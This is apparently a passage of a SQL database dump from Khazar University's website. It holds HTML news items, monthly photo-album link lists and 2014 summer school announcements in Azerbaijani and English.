Problemlər və Həlləri&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2003339193009809\">FOTO</a>)</div><div>01.-02.06.2018 Tək sağlamlıq- Problemlər və Həllər&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2002321393111589\">FOTO</a>)<br></div>02.06.2018 Final imtahanı (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2003315233012205\">FOTO</a>)<div><div>01.06.2018 Final imtahanları&nbsp; <a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2002272899783105\">(FOTO)</a></div><div>02.06.2018 Tək sağlamlıq- Problemlər və Həllər (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2005528669457528\">FOTO</a>)</div><div><div class=\"_5xz-\" style=\"display:inline-block;width:350px;font-family:Helvetica, Arial, sans-serif;color:#1d2129;font-size:12px;text-align:center;background-color:#ffffff\"><span class=\"_3xgd\" style=\"font-size:20px;font-family:inherit\"><div><br></div>  <br></span></div></div> </div>'),(4831,2830,'en','June','June',''),(4832,2831,'az','İyul','İyul','<div><div><div><div><div><div>03.07.2018 Xəzərin Kamera Orkestrının Türk Səfirliyində konserti (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2050992124911182\">FOTO</a>)</div></div><div>02.07.2018 HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2047951168548611\">FOTO</a>)</div></div><div>02.07.2018 Mədinə Karahanın müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2047794128564315\">FOTO</a>)</div></div><div>02.07.2018 \"Flipped learning\" adlı təlim&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2047643885246006\">FOTO</a>)&nbsp;<br></div><div>02.07.2018 Eurosia HUB (FOTO)</div></div><div>30.06.2018 Eurosia HUB (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2047572825253112\">FOTO</a>)</div></div><div><div>29.07.2018 Inteqrativ Dərs Materiallarının hazırlanması təlimi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2042525055757889\">FOTO</a>)</div>29.07.2018 Magistr Müdafiəsi (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2042651002411961\">FOTO</a>)&nbsp;</div>'),(4833,2831,'en','July','July',''),(4834,2832,'az','Avqust','Avqust',''),(4835,2832,'en','August','August',''),(4836,2833,'az','Sentyabr','Sentyabr','<div><div>12.09.2018 Kəmalə, Azər, Sevinc, Əzizə - Ad Günü&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2164971700179890\">FOTO</a>)<br></div><div>Petra-\'\'Auditoriyada Ilk Gun\'\' seminari&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2166208256722901\">FOTO</a>)<br></div><div>15.09.2018 Yeni tədris iliniz mübarək.&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2171385002871893\">FOTO</a>)<br></div><div>04.09.2018 Xəzərlilər iş başında (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2154414904568903\">FOTO</a>)</div></div><div>Yeni tədris ilinə hazırlıq gedir.&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2154121601264900\">FOTO</a>)<br></div><div>Həyat Yolu şəkilləri&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=799538790056528\">FOTO</a>)<br></div><div>Ad günü&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2153143231362737\">FOTO</a>)&nbsp;<br></div><div>Yay media gözündə&nbsp; (VURGUN) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152942398049487\">FOTO</a>)<br></div><div>Yay media gözündə&nbsp;(SEVINC) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152941618049565\">FOTO</a>)<br></div><div>Yay media gözündən (SEADET) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152940941382966\">FOTO</a>)<br></div><div>Yay media gözündən (RUFET) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152939944716399\">FOTO</a>)&nbsp;<br></div><div>Yay media gözündən (KEMALE) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152938414716552\">FOTO</a>)<br></div><div>Yay media gözündən (ISMET)&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152937368049990\">FOTO</a>)&nbsp;<br></div><div>Yay media gözündən (IRADE) (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=2152935981383462\">FOTO</a>)</div>  <div><br></div>'),(4837,2833,'en','September','September',''),(4838,2834,'az','Oktyabr','Oktyabr',''),(4839,2834,'en','October','October',''),(4840,2835,'az','Noyabr','Noyabr',''),(4841,2835,'en','November','November',''),(4842,2836,'az','Dekabr','Dekabr',''),(4843,2836,'en','December','December',''),(4844,2615,'en','News on Khazar University representatives in EURAS.Express','EURAS.Express, an electronic bulletin of Eurasian Academy, posted participation of Khazar University representatives in a training held on October...','<p><strong><em>EURAS.Express</em></strong>, an electronic bulletin of Eurasian Academy, posted participation of Khazar University representatives in a training held on October 28-November 3, 2017, in Middlesex University, Great Britain, within PAWER project.</p><p>A link for the news:</p><p><a href=\"http://bulten.jettsms.com/mailing/da515ea4-4d41-44cd-85d8-014e22e9a069.html\">http://bulten.jettsms.com/mailing/da515ea4-4d41-44cd-85d8-014e22e9a069.html</a>.<br></p>'),(4845,2609,'en','An interview of a doctor famous for his dance','AzVision.az news website took an interview with doctor Ruslan Khanbutayev who became well-known with his dance going viral in social networks...','<p><strong><em>AzVision.az</em></strong> news website took an interview with doctor Ruslan Khanbutayev who became well-known with his dance going viral in social networks. He graduated from Khazar University and works in Russia.</p><p>Links for the interview:</p><p style=\"background:undefined \"><a href=\"https://azvision.az/news/129905/reqsi-ile-meshurlasan-azerbaycanli-hekim-hicabli-xanimlar-dogusa-erleri-ile-girir-musahibe.html\">https://azvision.az/news/129905/reqsi-ile-meshurlasan-azerbaycanli-hekim-hicabli-xanimlar-dogusa-erleri-ile-girir-musahibe.html</a>;</p><p><a href=\"http://www.dia.az/8/159458-reqsi-ile-meshhurlashan-azerbaycanli-hekim.html\">http://www.dia.az/8/159458-reqsi-ile-meshhurlashan-azerbaycanli-hekim.html</a>.</p>'),(5956,3404,'en','Follett Destiny - Updated Version','Follett Destiny - Updated Version',''),(5192,1969,'az','Yay məktəbi','Yay məktəbi',''),(5193,1969,'en','Summer School','Summer School','<h3 style=\"text-align:justify\"><strong><h3><strong>STUDY IN RUSSIAN Summer School</strong></h3></strong></h3><p style=\"text-align:justify\"><strong>01-08 July 2014</strong></p><p style=\"text-align:justify\">This Summer School invites all qualified applicants to submit a summer school application for Study in Russian. The main objective of this international program is to assist in professional development of young students’ or graduates\' language skills. Presentations, interactive discussions and courses are led by outstanding instructors and lecturers from Azerbaijan. The Summer School focuses on young students and alumni from Turkey, Eastern Europe and the Balkan Countries. The number of participants is limited to about 20. Over&nbsp;the course of&nbsp;two weeks&nbsp;the participants will&nbsp;improve their Russian&nbsp;language skills. Successful participants will receive a certificate and they will become a part of Khazar Young Professionals.&nbsp;In 2014, KHAZAR UNIVERSITY is organizing the 1st Study in Russian Summer School for Young Students and Alumni.&nbsp;</p><p style=\"text-align:justify\">The Summer School will enable you:</p><p style=\"text-align:justify\">-&nbsp;to&nbsp;learn the Russian language quickly and effectively, including practical aspects and a range of vocabulary</p><p style=\"text-align:justify\">- to enjoy lessons as well as extra-curricular activities such as cultural visits, films, lectures, excursions, and parties</p><p style=\"text-align:justify\">- to enlarge your personal and professional network with people who share the same interests</p><p style=\"text-align:justify\">- to enjoy the environment of Khazar University in Baku, located in a part of Europe known as the Land of Fire</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">If you are interested in more detailed information please contact us via email:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><br></p><h3>Summer School for Young Students and Alumni 2014:&nbsp;Study in Russian!</h3><p style=\"text-align:justify\">To apply, please send your CV to the following email address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>&nbsp;indicating ‘Study in Russian’ in the subject line. The deadline for receiving your application is Apri15, 2014. If accepted you will be informed with further detailed information regarding the summer school.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Financial costs:</strong></p><p style=\"text-align:justify\">The course fee is 450 Euro for International participants and 150 AZN for nationals. The fee includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. You will be responsible to pay your own visa fee if required. Invitation letter or other required document will be provided by the Institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p style=\"text-align:justify\">&nbsp;</p><hr><h3><strong>Cognitive Behavioral Therapy</strong></h3><p style=\"text-align:justify\"><strong>5-12 August 2014</strong></p><p style=\"text-align:justify\">Khazar University’s Department of Psychology welcomes young or future psychologists to the Cognitive Behavioral Therapy (CBT) Summer Course Certificate Program in Baku, Azerbaijan. CBT is one of the most demanded models of treatment in clinics. This summer school will increase your skills and practice as a therapist. The program begins with an introduction to CBT Theory and the behavioral therapy model. Participants will have the opportunity to learn how to apply the CBT model with individuals, families and couples. The course will also explain the types of clients of the therapy. The participants will gain a deep understanding of the techniques of Cognitive Therapy in different cases.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>CERTIFICATE ELIGIBILITY AND APPLICATION</strong></p><p style=\"text-align:justify\">Professional Young Psychologists who complete the summer school will receive a certificate in the final session. This Summer School is open for enrollment now. To apply, please send your CV to the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating&nbsp;‘Cognitive Behavioral Therapy’&nbsp;in the subject line. The deadline is 15 April 2014.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>COST OF THE PROGRAM</strong></p><p style=\"text-align:justify\">The course fee is 450 Euro for International Participants and 150 AZN for Nationals. This includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. You are responsible for your own visa fee if required. Invitation letter or other required document will be provided by the institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093 (288)</em></p><p style=\"text-align:justify\">&nbsp;</p><hr><h3><strong>GLOBAL LEADERSHIP SUMMER PROGRAM</strong></h3><p style=\"text-align:justify\">Join students from around the world in this outstanding program at Khazar University, Baku, Azerbaijan. The program covers International Relations, Leadership Skills and Politics.</p><p style=\"text-align:justify\">10-17 July 2014</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>OVERVIEW</strong></p><p style=\"text-align:justify\">We are pleased to announce that the GLOBAL LEADERSHIP SUMMER PROGRAM will be held at Khazar University</p><p style=\"text-align:justify\">The Summer School is a one-week high quality training program, organized for national and international students or young professionals.&nbsp;Khazar University aims to gather 30 participants from around the world. Participants will have the chance to learn practice and theory of global leadership and the charisma of leadership. The program is designed to provide young prospective leaders of tomorrow with lectures, discussions and workshops that will enhance their leadership skills.</p><p style=\"text-align:justify\">After completing the Leadership Summer School, participants will have gained practice in leadership skills and will be given a certificate for attendance. We expect participants to include graduate students and young professionals who are eager to learn effective leadership from an academic point of view and contribute to the enhancement of their future leadership skills. Participants will also have a chance to discover Baku, the capital city of Azerbaijan. They will visit several museums and historical places as well as attending social events.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>COST OF THE PROGRAM</strong></p><p style=\"text-align:justify\">The total cost of the summer school is 450Euro for International participants and 150AZN for Nationals. The cost included pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. The participants, who need a visa to travel to Azerbaijan, will pay the Visa fee themselves. Invitation letter or other required document will be provided by the Institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>APPLY TO PARTICIPATE</strong></p><p style=\"text-align:justify\">Please send your CV/Resume to the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating&nbsp;<em>‘Global Leadership Summer School’</em>&nbsp;in the subject line. The deadline is April 15, 2014.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, contact Arzu Mukhatorva, the coordinator for Summer Schools at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p style=\"text-align:justify\">&nbsp;</p><hr><h3><strong>Teaching Tips: Summer School for English Language Learners</strong></h3><p style=\"text-align:justify\"><strong>Khazar University 2014, Baku, Azerbaijan&nbsp;</strong></p><p style=\"text-align:justify\"><strong>01-07 July 2014</strong></p><p style=\"text-align:justify\">The summer is a great time to study with English Language Professionals. During Summer School you can focus on students’ needs, speaking, enhancing writing, listening, reading skills, how to spend leisure time with the students, psychological methods and prepare them for the following school year. Here are some ideas to get tips and strategies for differentiating on working with students. Participants will have chance to discover Baku, the capital city of Azerbaijan, to visit museums, historical sights and attend social events. After completing the courses, participants will receive Certificates.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Eligibility</strong></p><p style=\"text-align:justify\">This Summer School is designed for Young English Language Learners. No age limits!</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Cost</strong></p><p style=\"text-align:justify\">The cost of the Summer School is 450Euro for International Participants and 150AZN for Nationals. The cost included pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. The participants, who need a visa to travel to Azerbaijan, will pay the Visa fee themselves. Invitation letter or other required document will be provided by the Institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>How to Apply</strong></p><p style=\"text-align:justify\">Interested Applicants are encouraged to send their CV to the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>&nbsp;indicating&nbsp;<em>‘Summer School for English Language Learners’</em>&nbsp;in the subject line, Arzu Mukhtarova, coordinator for Khazar University Summer School, by April 15, 2014</p><p style=\"text-align:justify\"><em>&nbsp;</em></p><p style=\"text-align:justify\"><em>For further information and inquiry, please send an e-mail to the following address: amukhtarova@khazar.org, or call: 0099412 4211093(288)</em></p><p style=\"text-align:justify\"><em><br></em></p><hr><h3><strong>General Psychology Summer School 2014</strong></h3><p style=\"text-align:justify\"><strong>5 – 12 August 2014</strong></p><p style=\"text-align:justify\">General Psychology course will cover the basic concepts of psychology as a scientific study of behavior and mental processes. The program will cover main psychological approaches and theories which are needed for the study of behavior of organisms and at the same time the roots and origins of psychology will be considered. Basic terminology will be important to know in order to be familiar with psychology beyond the level you were when you entered the course.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">HOW TO APPLY</p><p style=\"text-align:justify\">Students, Alumni and Young Professionals from different majors are encouraged to apply for the Summer School. Interested candidates are asked to send their CV and Motivation Letter to Arzu Mukhtarova, the coordinator of the program, at the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating&nbsp;‘General Psychology Summer School 2014’&nbsp;in the subject line. Deadline is April 15, 2014.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">COST</p><p style=\"text-align:justify\">The cost of the Summer School is 450 Euro for international students and 150 AZN for national students. (The cost covers a round trip ticket, meals and accommodation, the course fee and pickup from the airport). Participants who need a visa to travel to Azerbaijan will be responsible for their own visa fee.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, please send an e-mail to the following address: Arzu Mukhtarova, amukhtarova@khazar.org, or call: 0099412 4211093(288)</em></p><p style=\"text-align:justify\">&nbsp;</p><hr><h3><strong>Summer School to Discover Azerbaijan:&nbsp;The Land of Fire</strong></h3><p style=\"text-align:justify\"><em><strong>Feel the Eastern Western values and unity!</strong></em></p><p style=\"text-align:justify\"><strong>&nbsp;5 - 12 July 2014</strong></p><p style=\"text-align:justify\">Summer is the best time for exploring new opportunities, making new friends, enhancing networks and discovering new places! This summer school will introduce you to the culture, traditions, arts and people of Azerbaijan. Our one-week summer program combines new skills and new faces to create a rich intercultural experience.</p><p style=\"text-align:justify\">We want you to enjoy getting to know our country, making Azerbaijani friends, and discovering the capital city of Baku with participants from diverse cultures around the world. Participants will have the opportunity to go sightseeing, visit interesting places, participate in different exciting activities or events, and travel within Azerbaijan.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">Eligibility and Application</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">If you want to contribute to discussions on intercultural communication, experience rewarding challenges and become a part of a diverse including multicultural students from different countries, please send your CV via email to&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating ‘Discover Azerbaijan Summer School’ in the subject line. The deadline of the application is April 15, 2014. Participants will receive certificates at the end of the course.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">FEE</p><p style=\"text-align:justify\">The cost of the Summer School is 450Euro for International participants and 150 AZN for Nationals. The cost includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. You will be responsible to pay your own visa fee if required. Invitation letter or other required document will be provided by the Institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, contact Arzu Mukhatorva, the coordinator for Summer Schools at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>&nbsp;</em></p><hr><h3>&nbsp;<strong>INTERNATIONAL OIL &amp; GAS SUMMER SCHOOL</strong></h3><p style=\"text-align:justify\"><strong>26 July- 3 August 2014</strong></p><p style=\"text-align:justify\">&nbsp;The International Oil &amp; Gas Summer School provides a comprehensive overview of oil &amp; gas and the energy industry, from exploration and production to sales and marketing. This Summer Course will help participants to learn about crude oil &amp; gas production and to discover the dynamics of the natural gas sector, including refining, pricing and marketing of the sector. Participants will also have the chance to develop an awareness of oil &amp; gas trading. Participants will enjoy professional experience through team exercises and practical tasks with the opportunity to exchange their views on energy industry production. In addition, the participants will discover Baku, visit museums and tourist attractions, and attend social events with national students of Khazar University.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">ELIGIBILITY</p><p style=\"text-align:justify\">Graduates and young professionals with a background in oil &amp; gas or energy studies can apply for this Summer School.&nbsp;Interested candidates should send completed CV via e-mail:<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating ‘INTERNATIONAL OIL &amp; GAS SUMMER SCHOOL’ in the subject line, by April15, 2014.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">COST OF THE PROGRAMME</p><p style=\"text-align:justify\">The cost of the Summer School is 450Euro for International participants and 150AZN for Nationals. The cost includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. Participants who need a visa to travel to Azerbaijan will be responsible for their own visa fee. Invitation letter or other required document will be provided by the Institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p style=\"text-align:justify\">&nbsp;</p><hr><h3>&nbsp;<strong>New Technology Learning Summer School 2014</strong></h3><p style=\"text-align:justify\"><strong>Khazar University, Baku, Azerbaijan&nbsp;</strong></p><p style=\"text-align:justify\"><strong>21-28 July 2014</strong></p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">CALL FOR PARTICIPANTS</p><p style=\"text-align:justify\">We are pleased to announce a National and International Summer School on New Technology Learning, to take place from July 21st&nbsp;to 28th, 2014 in Baku, Azerbaijan. This Summer School aims to encourage participants to adopt new ways of thinking about the role of technology in providing opportunities and challenges for learners.</p><p style=\"text-align:justify\">In this Summer School the participants will have the chance to increase their knowledge base, develop their research skills, discuss the role of technology and today’s needs, collaborate with others on their own work, and enhance their networking abilities.</p><p style=\"text-align:justify\">The program will cover topics by professionals in their fields, and will also include practical and methodological workshops. In addition, the Summer School includes a variety of visits to interesting sights of Baku, cultural excursions and various social events to increase social contacts among the summer school participants.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">APPLICATIONS</p><p style=\"text-align:justify\">Students and doctoral candidates should submit CV to&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>&nbsp;indicating&nbsp;<em>’New Technology Learning Summer School 2014’&nbsp;</em>in the subject line before April 15, 2014.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\">COST OF SUMMER SCHOOL</p><p style=\"text-align:justify\">The cost of the Summer School is 450 Euro. The cost includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. Participants who need a visa to travel to Azerbaijan will be responsible for their own visa fee. Invitation letter or other required document will be provided by the Institution.</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p>'),(5189,3010,'en','Professor Hamlet Isakhanli’s birthday celebrated at Khazar University','Professor Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board...','<p>Professor Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70<sup>th</sup> birthday was commemorated at Khazar University on March 1, 2018. University staff welcomed Professor Hamlet Isakhanli in the conference hall singing a “Happy Birthday” song, accompanied by camera orchestra of Khazar University.&nbsp;</p><p>Dr. Hassan Niknafs, Rector of the University, congratulated Hamlet Isakhanli on behalf of the university staff. Professor Mahammad Nuriyev, Vice-rector for Academic Affairs, Firangiz Nasirova, Head instructor of English Language and Literature Department, Roza Arazova, Head of the Department of History and Archeology, Afag Karimova, artist and instructor in carpet-weaving, and other staff members delivered speeches expressing their sincerest wishes. Elkhan Kasimov, a staff member of the University, presented Hamlet Isakhanli a painting that was painted by himself.</p><p>Professor Hamlet Isakhanli expressed his gratitude to the participants.</p><p>At the end of the ceremony, memory photos were taken.</p>'),(4847,2724,'en','An author concert by prominent composer Sardar Farajov','There was an author concert, held on initiatives of Ministry of Culture and Tourism and State Philharmonic Hall, on December 9, in the Azerbaijan State Philharmonic...','<p>There was an author concert, held on initiatives of Ministry of Culture and Tourism and State Philharmonic Hall, on December 9, in the Azerbaijan State Philharmonic Hall named after Muslim Magomayev, dedicated to prominent composer Sardar Farajov’s 60<sup>th</sup> anniversary, Honored art worker, Secretary of Azerbaijan Union of Composers, Director of Uzeyir Hajibayli House-Museum. People\'s artist, professor Firangiz Alizada, Chairman of Azerbaijan Union of Composers, as well as representatives of Khazar University and musicians participated in the concert.</p><p>Before the concert, Honored art worker Zemfira Gafarova, Secretary of the Azerbaijan Union of Composers, delivered a speech and talked about Sardar Farajov’s productive creative activity as a composer, musicologist and public figure. She also added that Sardar Farajov has composed pieces of music in various genres, which were played in post former Soviet countries, Europe and USA, and presented him a congratulatory letter of Union of Composers and a bunch of flowers.</p><p>Dusen Kaseinov, Secretary General of TURKSOY, got the floor and mentioned that compositions by Sardar Farajov are played in Turkish countries, and presented the composer with “Commemoration of the 25th anniversary of the independence of Azerbaijan, Kazakhstan, Kyrgyzstan, Uzbekistan and Turkmenistan” medal of TURKSOY. In his speech, Sardar Farajov expressed his gratitude to Union of Composers and administration of TURKSOY.</p><p>A concert, under artistic guide by Gulbaji Imanova, was demonstrated by State Symphonic Orchestra named after Uzeyir Hajibeyli, Azerbaijan State Choral Chapel and soloists. Pieces of music from “Koroglu” symphonic fresco, Shah Khatai Symphony, “Javad khan” ballet, “Garabaghname” (for tar and symphony orchestra), “Istanbul Boghaz Ichi” vocal music, “Sentimental waltz” (for violin and orchestra) and \"Caravan of Eternity\" oratorios. Soloists were People\'s artist, tar player Ramiz Guliyev, Honored artist Farida Mammadova, violinist and laureate of international competitions Zarrin Aliyeva, Khazar University vocal teacher Mahsati Jabbarova and Presidential award winner Ismayil Yunisov.</p><p>The concert ended with rapturous applause of the audience.</p>'),(4846,2610,'en','An informative seminar for students of the School of Economy and Management','Rima Mammadova, Project Coordinator of Khazar University and Coordinator of Centre for Students with Disabilities, held an informative seminar for students of the School...','<p>Rima Mammadova, Project Coordinator of Khazar University and Coordinator of Centre for Students with Disabilities, held an informative seminar for students of the School of Economy and Management. Within the seminar, Rima Mammadova gave information on “<em>Advocacy Establishment for Students through Ombudsman Position</em>” (AESOP) project, in which Khazar University participates in as a partner, activities realized within the project and future plans.</p><p>There was also a presentation on Centre for Students with Disabilities and students got full information on services offered by the centre. Moreover, students became familiar with devices in Centre for Students with Disabilities.</p>'),(6077,3466,'en','An article by the instructor of the Department of History and Archaeology published in the proceedings of Turkish Historical Society','On September 27, 2018, a book of proceedings of the XVII Turkish History Congress was published by Turkish Historical Society...','<p>On September 27, 2018, a book of proceedings of the XVII Turkish History Congress was published by Turkish Historical Society. The book also includes an article co-authored by Araz Aslanli, Instructor of the Department of History and Archaeology of Khazar University. The article entitled “The death of Mustafa Kemal in Azeri media”, co-authored by Araz Aslanli and Vefa Kurban, Instructor of 9 Eylül University at Izmir, analyses the relations between the Soviet Union and Turkey. The article also deals with how Azeri media reflected the death of Mustafa Kemal, the founder of the Republic of Turkey.</p>'),(5129,2983,'az','Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyi ənənəvi təlim və seminarlarına davam edir','2018-ci il fevralın 23-ü saat 15:00-da Xəzər Universitetinin...','<p>2018-ci il fevralın 23-ü saat 15:00-da Xəzər Universitetinin “Neftçilər” kampusundakı konfrans zalında (otaq 102N) “Akademik yazının incəlikləri” mövzusunda seminar olacaq. Seminarda iştirakçılara akademik yazının struktur, semantika və sintaksis baxımından xüsusiyyətləri izah olunacaq. Seminarı Xəzər Universiteti Təhsil Departamentinin koordinatoru, Osmangazi Universiteti Təhsilin İdarəolunması ixtisasının doktorantı Qoşqar Məhərrəmov keçirəcək.&nbsp;</p><p>Maraqlananlar dəvət olunurlar.</p>'),(4901,2863,'en','Deadline for submission of theses has been extended','Board of organisation of I International Educational Sciences Symposium...','<p>Board of organisation of I International Educational Sciences Symposium \"Globalization of Education\", taking numerous requests&nbsp; into consideration, has extended deadline for submission of theses for February 15, 2018. Students can get further information on the website of the symposium and submit theses.</p><p>A link for website of the symposium:</p><p><a href=\"http://edusymposium.khazar.org/folder/English/index_En.php\">http://edusymposium.khazar.org/folder/English/index_En.php</a>.  <br></p>'),(4865,2857,'az','İmtahanla bağlı yazılar','İmtahanla bağlı yazılar','<div style=\"text-align:justify\"><h3 style=\"text-align:center\"><strong><img src=\"/files/history_depart/DSC_5487.JPG\" style=\"width:300px;height:238px;margin:7px;float:left\"><br></strong></h3><p style=\"text-align:center\"><strong>Tələbələrin imtahanda maraqlı və təəssüf hissi doğuran cavabları</strong></p><p><strong><em><br>Xəzər\r\nUniversitetində</em></strong> keçirilən hər imtahan müxtəlif maraqlı hadisələr,\r\nmaraqlı cavablarla yadda qalır. İmtahan işində olan açıq suallara isə tələbələrin\r\nmünasibəti fərqlidir. Kimi cavabı bilir və fikrini qısa, aydın şəkildə yazaraq\r\nifadə edir, kimi isə bilmir sadəcə vərəqdə boş hissələr dolsun deyə bəzən heç\r\nsuala aid olmuyan cümlələr yazır və onlar fikirləşirlər ki <strong>“onsuz da müəllim bu qədər yazının hamısını oxumaz, görəcək çox\r\nyazmışam, qiymət yazacaq” </strong>və s. bu kimi fikirlər. Bəzi tələbələr isə açıq\r\nsuallara baxıb özlərinə məxsus fantaziyalarını irəli sürürlər. Keçirilən\r\nimtahanlarda Tarix və Arxeologiya departamentinin müəllimlərinin yoxladığı imtahan\r\nişlərindən maraqlı, gülməli, lakin insanda daha çox təəsüf hissi doğuran\r\ncavabları sizə təqdim edirik:<img src=\"/files/history_depart/19390904_1623828094294256_8103428468142187402_o.jpg\" 